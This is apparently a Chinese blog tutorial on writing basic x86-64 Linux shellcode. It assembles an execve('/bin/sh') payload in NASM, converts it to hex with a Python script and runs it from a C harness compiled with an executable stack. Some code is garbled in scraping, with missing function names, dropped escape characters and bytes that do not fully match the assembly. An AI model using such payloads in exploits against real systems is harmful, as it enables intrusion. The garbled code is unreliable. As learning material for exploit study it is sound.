linux c语言shellcode,shellcode编写

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

​ shellcode可以用于在栈溢出或者堆溢出的漏洞中用于跳转后执行的代码。本文的代码是在ubuntu 18.04 64位的linux操作系统。

​ 首先是一个用于执行shellcode的c语言程序:1

2

3

4

5

6char shellcode[] = "";

int (int argc, char const *argv[]){

(*(void(*)() shellcode)();

return 0;

}

其中(*(void(*)()) shellcode)();拆开来看首先是(void(*)()) shell code,将shellcode转换为函数指针,指向void()形式的函数,再加一个*是对这个指针进行取值,然后再最右边使用()调用这个函数。在调用后会执行shellcode中的代码。

​ 为了实现生成新的shell进程,这里使用execve系统调用,execve需要传入三个参数,分别是新打开的应用或者脚本的路径、参数的字符串数组argv(最后一个元素是NULL)、环境变量的字符串数组envp(最后一个元素是NULL)execve("/bin/sh", NULL, NULL);。

​ 使用syscall汇编指令调用系统调用,需要查看系统调用号64位的系统在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件夹里。使用下面的命令查看:1

2cat unistd_64.h | grep execve

// #define __NR_execve 59

可以看到execve的系统调用号是59,十六进制的0x3b。

​ 然后编写shellcode汇编代码,核心是syscall汇编指令,这个指令中rax寄存器存放系统调用编号,这里是0x3b,在x86-64里,使用rdi、rsi、rdx寄存器分别存放第一、第二、第三个参数,一共可以用6个寄存器存放参数,多出的参数或者参数不是数字都是使用栈来传送。rdi寄存器存放execve的第一个参数,rsi存放参数字符数组地址(这里使用NULL,也就是0),rdx存放环境变量数组地址(也是NULL)。下面是汇编代码:1

2

3

4

5

6

7

8

9

10

11

12

13; test.s

section .text

global _start

_start:

sub rsp, 8

mov dword [rsp], 0x6e69622f

mov dword [rsp+4], 0x0068732f

mov rdi, rsp ;第一参数

xor rsi, rsi ;第二参数,0

xor rdx, rdx ;第三参数,0

xor rax, rax

mov al, 0x3b ;系统调用编号

syscall

​ 对于第二、第三参数,为了让代码变得比较短,不使用mov rsi, 0来实现寄存器变为0,而是使用xor rsi, rsi来清零rsi。

​ 传递路径给系统调用,如上面代码所示,使用栈存放路径,最后将栈地址存放到rdi中,对于这种方法需要将/bin/sh转换为十六进制小端顺序,然后在末尾补上0,因为nasm不能一次push进4字的数据,但是它每次push会是rsp减少8,所以这里是分两次存入的,栈是从高到低的,首先放进0x6e69622f,然后存入0x0068732f,最后将栈指针给rdi(第一参数)。

​ 编写好后使用汇编编译工具NASM编译:1nasm -f elf64 test.s

​ 因为是在64位系统中,需要指定elf64,然后使用链接器将其变为可执行程序。1ld test.o -o test

​ 最后执行test可以看到一个新的sh。

​ 既然汇编代码已经写好,就需要将其变为字符串形式,使用:1objdump -s test

得到.text代码,将其放入python脚本中1

2

3

4

5

6

7

8

9# shellcode.py

code = '4883ec10c704242f62696ec74424042f7368004889e74831f64831c04831d2b03b0f05'

result = ""

for i in range(0, len(code), 2):

if i < len(code) - 1:

result += '\x' + code[i:i+2]

else:

result += '\x' + code[i]

print(result)

将输出复制到shellcode字符数组中,我们看看可不可以执行shellcode了1

2

3

4

5

6

7

8

9

10// shellcode.c

#include

char shellcode[] =

"x48x83xecx10xc7x04x24x2fx62x69x6exc7x44x24x04x2fx73x68x00x48x89xe7x48x31xf6x48x31xc0x48x31xd2xb0x3bx0fx05";

int (int argc, char const *argv[])

{

(*(void (*)()) shellcode) ();

return 0;

}

因为GCC默认是有exec保护,所以编译时需要增加编译选项:1gcc -z execstack shellcode.c

最后可以看到效果,打开了一个新的sh:1

2[email protected]:~/Downloads$ ./a.out

$

附录可以使用gdb调试shellcode.c,编译后的函数指针指行是一个call *地址的指令,可以step in来查看行之后的shellcode里面的代码。

因为这里用了execve这个系统调用,我们可以使用strace命令,查看程序的系统调用执行状况,前几次都出现execve(null,null,null)这样参数传递错误的情况,我才想起来64位参数传递用的是rsi、rdi这些寄存器。

使用label: db ‘/bin/sh’,mov rdi, label的形式会出现找不到路径,因为ld后的代码引用label的地址竟然是固定的,我得再看看链接的原理。

edb debugger好好用!

参考

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值